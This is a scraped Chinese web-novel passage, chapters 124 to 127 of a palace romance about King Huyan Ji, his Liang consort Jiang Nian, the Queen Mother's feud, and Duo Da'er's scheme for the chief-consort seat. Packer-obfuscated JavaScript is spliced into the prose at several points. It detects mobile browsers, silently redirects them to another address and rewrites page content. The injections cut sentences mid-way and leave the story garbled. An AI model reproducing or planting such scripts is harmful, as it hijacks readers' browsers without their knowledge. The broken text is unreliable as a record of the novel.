高家正房嫡出的大郎,高逊,被带回了高家,人是保住了,只是下半身瘫了,再也不能直身行走,只能靠轮车推行。 …… 薄脆的信纸在老妇人手里抖着,高太后盯着手上的信件,好半晌才从信纸上抬起眼,喘了两喘,身边的金掌事见状赶忙将茶盏递上。 “太后,喝些茶,平一平。” 高太后挥手抵开,虚着声气,胸口窝着火,却连把这火气发泄出来的力道都没有。 这就是在报复,他见她刁难梁女,让她下跪,转过身他就打断逊儿的双腿,作为儿子,他不敢对她这个母亲如何,便将气发泄到她的母族,威胁告诫她。 为了一个异族女子,他竟做到这个份上。 “叫他来,叫他来……” 第124章 没人能越过她去 金掌事自然知道这个“他”是谁,整个王庭能把太后气成这样,除了大王,不会有第二个人。 高太后看着眼前的小儿子,好似从来没认真看过他。 “你为了一个异族女子,连你表兄都下得去手,你的心让狗吃了?” 不知是不是祥云殿地势较高的原因,这里的阳光更加强烈,母子二人对坐于凉亭,只有隐隐风动。 呼延吉默然不语,高太后以为他在听,继续道:“逊儿的腿已是不能恢复,高公为此病倒,如今另外四上姓皆看高氏一族的笑话。” “那母亲的意思是?” 高太后想了想,高氏大宗不需要官爵,金银器物更是不缺,这些对他们来说无足轻重。 “你下一份罪己诏,或是在邸报上承认自己的罪责和过失,向高氏一族赔罪,另再向逊儿认个错儿,这事我看能不能揭过。” 呼延吉复问道:“母亲让我给高氏赔罪?” “你虽为夷越之主,可高公是你长辈,逊儿更是你的表兄,你赔个罪怎么了?只要我还是你母亲,你身上流的便有一半高家血,就算你当了天上的神仙,那也得认下高家这门亲!”高氏难得缓下声调,说道,“你给他们认个罪,不算丢脸。” 高氏说罢,半天不见对面回应,看了过去,就见小儿子垂着眼,不知在想什么。 “我的话你可听到?”高氏有些不悦,从前无论她说什么,他都会很快应下。 小儿子才从梁国回来那会儿,每日下朝都会到她这里坐一坐,哪怕她冷着他,他也安静地坐在那里陪她。 若她记起他来,敷衍着问他的起居日常,他便很高兴地回答,她随口问一句,他可以说很多话,直到见她不耐,才渐渐打住话头。 后来,她免了他的问安,先开始,他仍是来过几次,每每来时,她都避而不见,他再就不怎么来了。 单单为娶一个梁女,她不至于恼成这样,不过是气他为了一个梁女不将她这个母亲放在眼里,这让高氏不能忍。 呼延吉终于抬起眼,看向对面,说道:“母亲让我给你那侄儿赔罪,给你那兄长赔罪,莫不是在玩笑?” 高太后柳眉立起,整张脸都丧恨着:“什么叫我侄儿,我兄长,他们不是你的长辈和兄弟?!我看你就只认梁人作亲,把自己真正的血亲给抛在脑后。”高氏缓了缓,大发慈悲一般,“也不要明日了,就今日把罪认了,登于各地邸报,晓谕天下。” 高氏料想自己把话说到这个份上,小儿子不会再说什么,他一向还算听自己的话,且她也是为了他好。 呼延吉冷笑一声:“照母亲这种说法,高阿克为我长辈,高逊为我兄长,若他们进了朝堂,我是否该从王座趋阶下迎,当着众官之面,恭敬叫他二人一声舅父和阿兄?然后再请他二人上座,或是直接请上王位?毕竟他们是我血亲,血亲高于一切,甚至高于王权,我年纪轻,高氏一族随便拎个人出来都算我长辈,照此一论,岂不是高氏一族要压我呼延氏一头?” 高氏被他说得辩解不得,可也不甘愿就这么退让:“我不过让你给向高公赔个不是,你却扯上朝堂。” “君王给臣子赔不是,前一脚责罚高家,后一脚就拟罪昭告天下,依我看,把呼延氏祖宗气活的不是我,而是母后大人。” “好,好,你如今眼里是没我这个母亲了,想来之前都是装的样子。”说着不免湿了眼,今日她非得让他应下,给高家赔罪,她已习惯在小儿子面前颐指气使,也认定了他会依从。 正在思索时,却听呼延吉淡淡说道:“以后梁妃在祥云殿的晨省昏定就免了罢,母亲年岁已高,只管颐养天年,其他的事情还是不要过问的好。” 高氏不敢相信这是他说的话,她刚才说了那么多,他根本没当回事,居然更进一步免了梁女的问安。 高氏攥紧拳头,蓦地又松开,流出两行泪,泣道:“我生了你一场,你就这样回报我,若是你兄长还在,他绝不会这样待我,到底不是我跟前长大的,哪里有心。” 呼延吉了解自己母亲的脾气,所以并不太愿意同她争执,她时常挂在嘴边的是兄长,而他呢,完全不像她的孩子似的,有时候呼延吉甚至想,他可能真不是她的孩子,是父亲另外的妻室所生,如果真是这样,他倒可以向自己譬解,也可以释然。 然而,他知道那不可能,他遗传了她三分的容貌,他无疑就是她的孩子。 母亲总会在他面前说兄长如何好,如何优秀,他只是默默地听着,尽管在她的那些话里,他会成为反面的对照,但他从不反驳。 不是因为他对母亲的孝心,而是因为兄长。 呼延吉其实很想问高氏,为何她对兄长喜爱,待他却如此厌弃,当然,他不能问出口,因为一旦问出口,好似辜负了兄长对他的付出和爱护,在他心里,他不愿同兄长比较,那样对他很不尊敬。 这也是让呼延吉最痛苦的一点。一面接受高氏无理地压制,一面告诉自己,他确实没有兄长优秀。 高氏好似了解这一点,也拿捏住这一点,每当她提出大儿子,小儿子便会无言地承受和屈从。 她以为这次会同以前无数次一样,他会自责,会向她低头,然后应下她的要求,然而她却料错了。 “母亲待兄长是什么样,待我又是什么样?从前我还未去梁国之前,母亲便不大管我,全靠兄长看顾我,待我去了梁国,母亲可有给我来过信?哪怕一封也好,没有,您好似没我这个儿子一样。” 呼延吉站起,走到亭栏边,背过身,看向湖面,说道:“儿子在梁国过得如何,母亲可有关心过?有无受人欺辱,有无交好的友人,有无学习长进,有无好好吃饭,长了多少个子……这些,您可有问过?” 高氏张了张嘴,终是没说出一句话。 呼延吉笑了一声,双手撑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不承想,连日来,差不多午歇后她都要往制香堂来一趟,最开始,堂里的香工们会放下手里的活计,跪迎,然后再围随应候。 第二次她来,便让堂里的香工们不必在跟前应候,她会在香堂围转,这个香案上看一看,那个隔香间走一走,看得很认真,还不时点点头,或是蹙蹙眉,间或问上两句话。 香工们自然极尽恭谦地答话。 再次来时,制香堂特意清出一张制香案,而这位梁妃褪去一身华服,着一件藕色窄袖阔领掐腰长衫,外罩一件葱白及膝绢衣。 来后,也不多话,只在制香案前忙自己的,遇到问题也是先翻架上的书册,实在寻不到解决之法,再向他人询问。 几日相处下来,大家对这位梁妃倒有些刮目相看,不再因为她的身份奉命回答,而是近乎一种探讨的应话。 江念收起手边的器具,整整齐齐摆放好,出了制香堂,却并没回西殿,而是去了另一个方向。 “殿下,我们现在去哪里?”阿星问道。 阿星的手伤已痊愈得差不多,便被安排进了西殿,江念见她手伤并未好完全,问她可需再休整段时间,她却坚持要跟在江念身边。 “去一趟司药局。”江念说道。 阿星抬头望了望天色,劝道:“这个时候大王已经回了,不如回西殿罢,别去那什么司药局。” 江念看了她一眼,想说些什么…… 第125章 他们的孩儿 江念笑了笑,并不言语,仍是朝司药局行去。 阿星便不再出声,随在她的身后。 江念进到司药局的前院,因她是常服装扮,局子里的各人又忙着手里的事情,便没有太注意她。 她走到一个正在拣药的女婢边,问道:“云娘可在?” 那女婢正觑眼拣药,药材本就细小,杂末又多,肩颈弯了半日,正烦着,听人问云娘,只当是局子里当值的人,不耐道:“正忙着,你自己找找,我哪里知道她人在哪儿。” “你怎么回话的。”阿星上前一步,说道。 “什么回话,大家都是奴才,还摆起主子的……”女子气得一抬头见到梁念时,立马噤了声,连忙跪下,“婢子不知是梁妃殿下,婢子瞎了眼,婢子该死。” 江念让她起身,问道:“无事,云娘呢?” 那宫婢忙朝一个方向指去,又醒悟似的,说道:“婢子在前引路。” “不必了,你忙你的。”江念说着往另一边行去。 那宫婢见江念走了,仍是立在那里不敢动。 这司药局几进几出,分隔出好些大小不一的院子,江念穿了一个长廊,才见着她要找的人。 四方院,院子里摆了一张长案,长案左边放着两个簸箕,桌案下还摆了三个大簸箕,云娘就伏在长案右边,背对着她的方向,不知在做什么。 而她的身侧还坐着一男子,同她隔着一点距离,因角度问题,江念能看到那男子的侧貌,好像是王庭里的宫医。 只见男子不时往云娘那边看一眼,不知云娘嘀咕了一句什么,男子微微倾过身,手指在桌案上,说了几句,云娘似懂非懂地点了点头。 “云姐姐?”江念笑喊了一句。 云娘回过头,见是江念又是笑又是要行礼的样子,而那位宫医上前两步,端端正正行了礼。 江念抬手示意免礼,又对云娘说:“随意些。” 江念让阿星不必在她跟前,那宫医也跟着退下。 “云姐姐,你近日来可好?” 云娘迎江念在案前坐下:“江娘子莫担心我……”说着拍拍嘴,“从前叫习惯了,该叫梁妃殿下了。” 江念笑道:“别人怎么我叫都成,你还照从前那样叫我江娘子,我听着亲。” 云娘笑着点头:“劳你记挂,我没什么不好的,在哪里都能活,却是你,好长一段时日去了哪儿?我去西殿问你,她们只是闭口不言,去了几次,都见不到你的人,料想你出了事情,我心里急着,让申宫医帮忙打听,他毕竟是官身,谁知他也探不到半点消息。” 云娘口中的申宫医,便是刚才离开的那位,江念有些印象,去过西殿几次。 “后来申宫医说,越王也不在王庭,你既是王的婢女,应该伴在王的身边,我一想也是,也就不急了。”云娘在江念脸上看了两眼,一副了然的神情。 江念一面听云娘絮絮说着,一面看向桌案,那上面摆着一本册子,伸手翻了翻,问道:“这是医书?” “是呢,天天同药材打交道,闲来无事,就拿几本医书看看。” “云姐姐识字?” “简单的会些,以前乡里有位老先生,我在他的院子里跟着学过。”云娘用一种玩乐的语气道,“没给束脩,在他院子里偷着学的,他没赶我。” 这整个宫里,江念还是最喜欢同云娘说话,兴许是同为梁国人的原因。 这边二人说着话,另一边刚才那名宫婢在阿星面前,低声下气道:“阿星姐,你得替我在梁妃殿下面前说说话,万莫同我这奴才计较,刚才真是不知道她来。” 说着,从腰间掏出一个荷包,塞到阿星手里:“一点小意思,姐姐收下。” 阿星睨着那荷包,退了回去,嘴角扬起一抹得意:“我能看上你这钱?行了!梁妃不是那般小气的人,怎会同你一个婢子计较,以后注意就是了。” 她可看不上那点子钱,不过药局婢子的态度让她很受用,有些飘飘然。以前她在大膳房里都是看别人的眼色,如今走到哪里别人不叫她一声阿星姐? 这份尊贵可是拿钱换不来的。 阿星见时候不早了,走回江念身边:“主子,天色有些晚了。” 江念本想同云娘多说几句话,被阿星一提醒,也就算了,遂起身作别离开。 呼延吉坐在外殿的椅凳上,对木雅吩咐道:“你再去前面看看。” 这已是大王第三次让她出殿探看梁妃有无归来。 木雅应诺而去,才出正殿门,就远远看见江念缓缓朝这边走来。于是回身报知于大王。 江念进了西殿,外殿的殿柱上已经点上了烛火,将整个西殿照得黄澄澄的,木雅上前从阿星手里迎过江念,笑道:“膳房已备下了饭菜,大王让摆在寝屋。” 江念点了点头,随木雅往寝屋走去。 阿星落后一步,随在她们身后,虽说她现在才是江念的贴身侍婢,不过在木雅面前,她还是不敢拿大。 江念一进寝屋就见呼延吉歪坐在毡毯上,桌案上已摆好饭菜,他却并不动筷,而是一杯接一杯地喝着酒。 “你们下去罢。” 木雅得江念吩咐,带着阿星退下。 江念踢鞋,走上毡毯,坐到他的对面,见他面色有些沉郁,猜测他今日一定是去了祥云殿。 这么一想,便起身走到他的身后,跪坐下,说道:“大王累不累?妾给你松乏松乏肩?” 呼延吉不语,倒了一杯酒递向身后,让她喝。 江念就着他的手喝了,他便拉她坐到他身前,说道:“以后祥云殿不必去了,你在王庭尽可自在,不必受任何人的拘束。” 他说让她再不必去祥云殿,那便是不用去了,可他的神情并不轻松,心里一定是烦闷的。 江念缓缓抬起手,用指尖揉了揉他紧蹙的眉心:“大王,你可太操心了,这样会不会老得快?” 呼延吉将她往怀里拢了拢,眉心松开,笑道:“老得快好啊,同你也般配。” 江念一听,气嗔道:“这是嫌我老呢!” 呼延吉把江念的身子扳正,在她脸上认真地睃了几眼:“阿姐马上二十六岁了?” 江念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396407|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭在呼延吉身上的手紧了紧,点了点头:“是不是不再青春了?” “什么青春不青春的,再好的青春我也不稀罕,青春我自己又不是没有,你只做好一件事就成。” “什么事?”江念问道。 呼延吉将她耳边的碎发挽到耳后,然后附在她的耳边:“把身子养好,以后咱们还要有自己的孩儿……” 江念一听,先是怔了怔,两眼一热,强忍着不让泪水滚落,就那么含在眼眶里,莹莹的一汪。 对她来说,本不指望今生还能生子的,她选择了呼延吉,把这条路上不好的事都想过,料想他以后可能还会立大妃,料想她不能怀上他的孩子,所有的不好,她皆想过。 但这是她自己选择的路,没什么可懊丧的。 因为没有孩子依傍,待年老后,她作为梁国人在王庭的日子并不会好过。 她唯愿自己走在呼延吉前面,起码他能给她一口薄棺,一个像样的坟包,这也是她唯一庆幸自己大他五岁的地方。 总该是她走在他的前面罢,他给她扶棺。 他现在告诉她,他们以后会有孩儿,这句话意味着什么,江念可太清楚了,呼延吉曾说过,要么他不应,只要是他应下的事,一定会办到,他从不空口白话向她承诺。 可她还是下意识地问了:“真的?” 呼延吉咧嘴一笑,看了一眼桌上的酒杯:“还不伶俐些?” 江念抿嘴儿笑,转身执起酒壶,倒了一杯酒,递向呼延吉,呼延吉笑着摇头,这要放在别的女人身上,多半会小意地把酒递到男人嘴边。 呼延吉接过酒杯,刚才喝的酒是苦闷的,然而这一杯却很痛快,只要同她说上几句,那些烦心就都散了。 她在他的身边,他们像平凡夫妻一样,吃着饭食,喝着小酒,还有什么值得烦忧的?就算有,那也是可以迈过去的小坎。 “阿姐,你的福气在后头。”呼延吉说道。 那日,他见她跪在阔大的祥云殿中,那么大的殿宇,连奴才们都站着,她却安安静静地跪在那里。 就那么直挺挺地跪着,他已是受不了,他不敢想,若他以后立别的女人为大妃,她岂不是要向别的女子下跪? 后来他一再思量,他连江念跪圣太后都忍不了,更何况让江念向其他人行跪礼,可若免除她的跪礼,又坏了规矩,这样也不好,所以,最简单的办法就是让别人跪她。 呼延吉想到自己的兄长,为了让他回夷越,兄长拼尽自己的所有。那么他现在也有要守护的人,他亦会拼尽所有。 江念坐回他的对面,用公筷替他布茶:“我的什么福气?” “待我将所有的麻烦一个一个解决,福气就来了。” 江念看向呼延吉,认真说道:“若是碰上烦郁之事,王可以同我说说,妾虽帮不上什么忙,说出来心里也好受些不是?” 呼延吉点了点头,并未将这话放心上,因为他所烦之事皆为朝政,同她说了也是无益。 现在的他是这样想的,然而江念总能出其不意地给他欣喜…… 第126章 卿卿…… 两人一面用着饭,一面说着话,江念谈起自己制香,一说起香,她便有许多话说,其实呼延吉也听不懂,觉得没多大意思,除了江念身上的那一味不同,感觉每种香味都差不多。 不过,每每她说的时候,他总会听着,不时点头给予回应。 若江念兀地问他“是不是?”,他总回答“是”。 若江念再问“对不对?”,他就回答“对”。 这样总是没出过错,只要不让他发表意见就好。不过也有那么几次,她问他的看法,他便思忖片刻,给出一个广泛的建议,让她相信自己,遵从自己的想法。 可这种广泛的建议用两三次还行,再用就有敷衍的意味,好巧不巧,江念又开始问他,问完便期待地望着他。 呼延吉苦思片刻,突然想起一事,岔开话头:“差点把这事给忘了,正要同你说。” “什么事?”江念给自己的翠色琉璃盏倒了一杯梅饮,端起来慢慢地喝了一口。 “下个月,会在嶂山脚下举行皇家狩猎,你同我一道出席。” “狩猎?” 以前梁国也有皇家狩猎,她作为江家之女自然被邀在列,不过没多大意趣,无非就是各家儿郎比骑射,比谁狩猎的多。 女儿家便着意打扮一番,然后在围场边的搭篷内坐着,相互间走动,说说话,吃些果品,再无形中攀比衣衫、头饰。 呼延吉自然看出她在想什么,有些自得地说道:“我夷越同你们梁国不一样,你们那小打小闹的,儿戏一般,算什么狩猎。” “怎么不同?”江念有些不信。 “梁国猎场皆是鹿、獐、兔这类小兽,从未见过虎狼等凶兽,你可见过?” 江念叹声一笑:“自然没有了,行猎前,禁军清过场,怎能放这些凶兽进场呢?”说完,会过意来,问道,“大王的意思是,夷越的皇家狩猎场不驱凶兽?” 呼延吉笑道:“猎得就是它们。” 江念一想,这倒有些看头,她还未见过虎兽,从前只在书上看过。 “不仅如此,还有……”呼延吉说一半留一半,等着江念问他。 “还有什么?” “在夷越女子也可狩猎。” 江念把眼一睁,问道:“女子也能狩猎?” 呼延吉点点头:“女子不仅能在猎场骑射,还可组队比试,你不是也会骑射么,可借机耍玩一番。” 江念听了,霍地起身,一言不发地往寝屋外走去,不知要做什么,走到门首,嘴里嘟囔了一句“还是明日再说”,又坐回。 “大王该早些同我说,这会儿也不知道来不来得及?”江念埋怨道。 “什么来不来得及?” “我没有骑装,不得让尚衣局给我备几套?”江念听说女子可以狩猎,首先想的就是她的衣装配饰,一定要精美。 “册妃之时,不论是常服还是朝服又或是狩猎骑装,各类都该备的有,怎会没有?” 江念轻描淡写道:“我觉着不好看,想要再做几套。” 呼延吉了然,狩猎不狩猎不重要,重要的是衣衫要好看,人要美。 夜色渐浓,纱帐下自然又是一番枕上缠绵,莺声款软。 男人胸前后背,汗渍细细,呼延吉将江念翻过身,让她趴伏着,自己伏压下去,在她耳边低声道:“你叫我一声,怎的了?” 江念却怎样都不叫,还是为着那一声“夫君。” 虽说两人已是最亲密之人,可那一声就是卡在喉咙里,叫不出来,有一次,她趁呼延吉不在,将宫人支开,一个人坐在那里先是深深吸口气,然后张开嘴,愣愣地又闭上。 活像有人掐着她的脖子。 终于,她小小地叫了声,自己倒又受不了,揉了揉脸,浑身都不舒适,一身细毛立起,在此之后,更加开不了口。 她还是习惯称他大王或是王。 呼延吉将女人微微汗湿的发丝扒开,很是大胆地在她耳畔叫了一声“卿卿……” 心意几交横,身下之人被叫得又羞又怯,两人本就合在一处,哪里受得住,呼延吉再不逗她,搏弄着结束了这场云雨。 叫了水来,清洗一番,相拥睡去。 这日,殿里来了两位不速之客,正是朵氏和朵妲儿。 江念对朵氏没好印象,不过面上并不显露,让宫婢沏茶,上茶点。 “这几日怎的不见梁妃去太后那里请安?”朵氏问道。 江念淡淡说道:“前些时日身上不好,怕将病气过给太后老人家,这才好一些。” 虽说呼延吉让她不用去祥云殿问安,可也不兴拿到台面上说,总不能说,大王免了我向圣太后问安,叫旁人听了,嘴上不说什么,心里指不定怎样想。 呼延吉心疼她,她却不能叫他难做,高太后是他的生母,她是他的妻,只要共住王庭,总不能真的老死不相往来,过些时日,她还得往祥云殿走走。 朵妲儿趁两人说话的间隙看了一眼四围,并不言语。 江念见她今日同之前在圣太后面前是两个样子,在圣太后面前,伶俐中透着点点娇憨,言语得趣,而现在却不怎么说话,整个人的神情都是淡淡的,完全变了个人。 江念陪她二人坐在外殿,三人就这么静静地坐着,茶水喝了小半盏,突然响起朵妲儿的声音。 “梁妃母家原是梁国高门罢?” 江念拿茶盏的手一顿,“嗯”着算是回应了一声。 “江家……倒是可惜了,原是那样的人家,却在一夜之间倾覆。”朵妲儿轻松地笑了笑,继而道,“江姐姐作为高门之后一定很是出色。” 江念只是客气地笑着,并不接话。 朵妲儿又道:“下个月,江姐姐会去嶂山狩猎罢?” “怎么不去,我倒很好奇夷越狩猎。”江念回道。 正说着,呼延吉回了。 众人见了忙起身行礼。 呼延吉让众人免礼,先看了一眼江念,再看向对面的朵氏姐妹,笑道:“今儿是什么好日子,约着到我这里来?” 朵妲儿一改刚才淡淡的表情,笑道:“我们正同江姐姐说下月的狩猎大会。” “我记得你的骑术很不错。”呼延吉说道。 朵氏从旁插话道:“可不是呢,这丫头从小野着,别家女子都喜欢胭脂水粉、珠钗华服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江念侧目看向朵妲儿,若有所思,在呼延吉回来之前,朵妲儿可是另一副做派,这转变当真是手到擒来,随心而变,不过也不奇怪,出自上姓氏族的朵妲儿,怎么可能真的不知世务。 朵氏对着朵妲儿笑说着:“你放心,大王逗你呢,依我看呐,梁妃的骑术指定比你要厉害,这下你可算遇上对手了。” 朵妲儿听了,嘴角虽仍是笑着,可脸腮却僵了一下,不过是一个很微小的表情,没人注意,偏江念正看着她,自然把她这一细小的表情看在眼里。 江念微笑道:“我那骑术在妲儿妹妹面前当不得什么。” “江姐姐就别谦虚了,你这一谦虚,妲儿可就当真了。”女子说着露出小小的得意,偏不让人生厌,反倒觉着有趣。 不过几句你来我往的话语,三个女人心思百转。 朵妲儿又转头对呼延吉说道:“妲儿今日趁这个便,得向大王讨句话。” “什么,只管说来。”呼延吉心情不错。 “围猎比试,若妲儿夺了第一,大王可不可以应妲儿一个请求?当是奖励了……” 第127章 大妃之位 众人谈起一个月之后的嶂山狩猎。 朵妲儿对呼延吉说,若她那日在狩猎场得了第一,想让他应她一个请求。 呼延吉笑道:“你若得了第一名,赛后自有奖励。” “那些东西我不稀罕,妲儿只要大王应我一个请求。” “你这是还没开始就要彩头,我现在若应了你,办不到又该如何,还是不应得好。” 朵妲儿噗嗤一笑:“大王怎的这样,忒小气了些。”说着一双眼溜转向对面的江念,“若是江姐姐问你要请求,大王也这般推脱?” 呼延吉嘴角挂着笑,并不言语。 朵妲儿起身走到江念身边:“江姐姐,要不您替我求一求?” 江念微笑道:“妲儿妹妹高看我了,大王的性格你是知道的,我若开口,他只怕更不会应了。” 江念说罢,其他人跟着笑起来,连对面的朵氏也笑了。 朵妲儿有些懊恼,忽然又提起精神道:“大王若应下我这个小小的请求,从前那事就作罢。”落后又补了一句,“不过一个极小的要求,绝不让大王为难,只当是补偿妲儿了,若妲儿的要求过分,大王再拒也不迟,可好?” 呼延吉知她说的是跌入湖塘一事。 朵妲儿那次差点丧命,事后他回想起来,也有些对她不住,想了想,说道:“那也得你拿下第一才成。” 朵妲儿听这话音,欢喜道:“那是自然。” 这时,木雅上前在呼延吉身侧低语了几句,呼延吉起身,江念几人亦跟着起身,恭送他离开。 待呼延吉走后,朵妲儿同朵氏没坐多久,也起身离去,两人出了西殿,也不坐乘辇,就那么慢慢并走着。 朵氏侧目看了眼朵妲儿,状作随口道:“妹妹要大王应你什么请求?”说着又玩笑似的追了一句,“不会是让大王立你为大妃罢?” 朵妲儿嘴角带笑,蓦地停下脚步,看了眼身边的宫人,说道:“你们都退下。” 朵氏的贴身女官莱拉先看向朵氏,见朵氏点头,才带着宫人们退到一边。 朵妲儿向前走几步,走到一个树荫下,朵氏随在她的身后,朵妲儿转过身,面上的表情完全变了,眼中的乖伶和天真褪去,只有沉静和稳握。 “阿姐……”朵妲儿笑了,笑得很是轻飘。 “你笑什么?”朵氏却笑不出,因为她感受到这笑里不加遮掩的嘲讽。 朵妲儿摇了摇头,语调中尽是惋惜,惋惜朵氏的蠢:“从小到大,你依旧没什么长进,让大王立我为大妃?这话你也说得出来,不过也是,是你的行事作风。” 此时的朵氏,已跟不上朵妲儿的话,不仅仅对于她的这番话,还有她的突然转变。 “阿姐,知道父亲为什么让我来王庭?” 朵氏冷声道:“父亲让你进王庭替代我。” 朵妲儿撑不住笑了,从袖中抽出丝帕,拭了拭额上的细汗,一手撑在树上,笑说道:“替代你?你有什么可替代的?一个寡居的王嫂?一个染恙的病秧子?” 女人把头轻轻一歪,看向朵氏,用天真的口吻说着:“知道父亲在我面前怎么说你么?” 朵氏咬着牙,腮颊上的肉因太过用力,颤抖着。 “父亲说,当年毒坏的怕不止是你的身体……”说着,抬起拿帕子的那只手,点了点自己的额穴,“只怕这里也坏了。”朵妲儿不顾朵氏震惊的眼神,继续道,“当年我母亲给你母亲下毒,事后父亲明明查出来,却不处置我母亲,知道为什么。” “因为你那**娘怀了你这个小**。” 此刻,两人都撕下伪装,然而,撕下伪装的朵氏,只有一片血淋淋的肉,而撕下伪装后的朵妲儿,还有一层让人看不清的东西。 朵妲儿摇了摇头,可怜地看向朵氏,说道:“阿姐,叫我说你什么好,你还是不了解父亲这人,他不杀我母亲,是因为在这场纷争里,你的母亲落败了,落败的人还有什么资格提要求?落败的人只能认活该。” 朵氏立在那里,全身僵硬。 “你也不要恨父亲,要恨就恨你母亲无用,父亲处心积虑让你坐上夷越大妃之位,那么我且问你,你在这中间又起了什么作用?坐在这个位置,却头脑不清地想同君王谈情爱?和这天下任何人都可以谈情,都不要同君王谈情。” 朵氏再也忍不住,激愤道:“你知道什么,大王他根本没打算立五上姓女子为妃……” 不等朵氏说完,朵妲儿厉声将她打断:“那你早该告诉父亲!而不是在东殿被他几句软语骗得失了心,迷了智,归家后,每每父亲问起,你还替他遮掩!那个时候他羽翼未丰,只要父亲联合其他上姓出面,娶不娶哪由他说了算!” “不是,大王那个时候给我请名医,我身子未好,我需要名医,他待我好,我以为他心里有我……” 朵妲儿鼻腔里哧哧两声笑:“所以,这便是你我之别,你要爱,而我不需要,我只要那个位置,你倒好,替他争取时间,坐观其势成。” 朵氏被她这话提醒,说道:“你不过也是痴人说梦,那个位置谁不想要,大话谁不会说,大王房里如今有了梁女,眼里没有别人,岂是你想坐就能坐的。” 朵妲儿叹着摇了摇头,本不想说下去,不过觉着自己扮了这么些年的乖巧,马上就不用装了,便多了些耐心,解释道:“呼延吉喜欢谁根本不重要,就算他不爱我,照样会娶我,立我为大妃,因为我有他想要的东西。从一开始你就走错了路,你想要得到他的心,而我不同,我无需他的心,无需他的喜爱,从始至终不过是一场利益的互换。” 朵氏怔在当场,一句话也说不出。 朵妲儿走到她的身前,轻松道:“阿姐,你错就错在,忘记自己是朵家人,忘记背后还有父亲,父亲当年既然能让他兄长娶你,如今也能让他娶我。” “你打算怎么做?” “不急,你且慢慢看,看我怎样坐上这夷越大妃之位,至于那个梁女……不值得放在心上,一个没有家世可依的蒲柳而已,连子嗣都不会有,只要她老老实实的,我不是容不下她。” 朵妲儿错开朵氏的身,侧目道:“所以你看,呼延吉有什么理由不应,既能得我朵家助力,又能怀抱美人儿……我们这位君王呐,心可深着哩!” 直到这一刻,朵氏迷茫了,同朵妲儿相比,她忽然觉得自己简直蠢直,她自以为是地想要做一个看戏人,看朵妲儿同江念较量,结果呢,一场戏走下来,她甚至不知道人家唱的哪一出。 朵妲儿走的是另一条路,这条路上,她和呼延吉都是执棋人。 朵氏突然感到恐惧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403724|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和无望,甚至生出想要逃离王庭的想法,因为她斗不过这样的朵妲儿,怎么斗得过呢。 朵妲儿很满意朵氏的反应,本不想再说什么,不过她见朵氏这个窝囊样,很是快意,便说了下面一句话。 “再告诉你一件事,我母亲当年**……父亲是知晓的……” 朵氏身子猛地一晃,睛目发花,耳朵里一阵阵嗡鸣。 “大妃……” “大妃……” 嗡鸣声中有人在叫她,朵氏楞磕磕地转过头,才发现自己已倒在了地上,叫她的人是莱拉。 “快!将大妃扶回东殿。” 莱拉招呼宫人们将朵氏扶上乘辇,又让宫婢去唤宫医。 朵氏回了东殿,躺在榻上,怔怔地没有任何反应,像一具死不瞑目的艳尸,连宫医问她话,也不知道回答。 终于,朵氏转头看向那名年轻的宫医,又看向莱拉,惨白着脸,说道:“叫罗宫医来!我要罗宫医,叫他来,你还愣着做什么,还不快去!” 莱拉微微红了眼,说道:“大妃,罗宫医不在王庭了,他离开了。” “我不管,你去把他找来,我只要他看治。”朵氏说着,从床头摸过一个器物,照着那宫医甩去,“滚出去!给我滚出去!” 那宫医不防备,被器物砸中了头,虽未破皮,却也实实挨了一下,心中害怕,连连退到一边。 莱拉只得将宫医拉到外间,问了情况,确认朵氏没有大碍,让他开了些调补的药物,送他出去。 朵氏望着头顶的帐幔,眼泪止不住地滚落,没一会儿,枕上就是湿凉凉的一片。 父亲明知朵妲儿之母下毒,却假作不知,是啊,府里有什么事是**的,冷冷地看着这一切的发生,在他眼里,被毒害的一方是蠢笨无用的,朵家不养无用之人。 可纵使她再恨,也从来没想过对付朵妲儿,只因为都姓朵。 到头来,她只是一个傻子,所有人都在利用她,都在利用她…… 没有一个人真心待她,除了他…… 莱拉走了进来,恭声道:“大妃,汤药煎煮好了,起来先把药喝了罢?”见朵氏没有反应,莱拉便试探着将她扶起,又在她的腰后塞上引枕, 莱拉从宫婢手里接过汤药,用匙舀了舀,待稍稍凉一些,往朵氏嘴边送去。 朵氏张开嘴,将那药抿了一口,莱拉正待欣喜,心道,大妃愿喝汤药就行,喝了药,再歇一歇就好,正想着,“啪——”的一声,手里的药碗已飞了出去,砸在地面,连同汤药碎泼了一地。 “我不喝这个药,把那个药拿来我喝。”朵氏命令道。 “大妃,那个药无须喝了。”莱拉知道她说的是罗宫医从前调配的汤药,可那汤药里含有睡兰,喝多了总归不好。 “我让你拿来就拿来,现在连你也看不起我,不听我的令了,是不是?!” 